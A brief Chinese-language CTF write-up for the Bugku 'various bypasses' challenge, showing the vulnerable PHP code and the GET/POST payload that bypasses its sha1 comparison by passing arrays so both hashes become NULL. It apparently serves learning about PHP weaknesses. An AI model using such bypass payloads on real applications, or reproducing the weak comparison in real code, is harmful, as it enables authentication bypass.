bugku | 各种绕过
<?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be uname.'; else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) die('Flag: '.$flag); else print 'sorry!'; } ?>
一个走心的payload:
GET: id=%6d%61%72%67%69%6e&uname[]=1
POST: passwd[]=2
一个草率的解析:
- 一开始是想到:sha1()之后的值,是‘0e’开头的会变成科学记数法,然后结果都是为0,但是没想到后面还有一个‘&’
- 利用数组的话,会报 “ Warning: sha1() expects parameter 1 to be string, array given in /usercode/file.php on line 6 ", 然后得到 ” sha1(数组)=NULL “,然后 “true&字符串=1”就成功绕过if判断了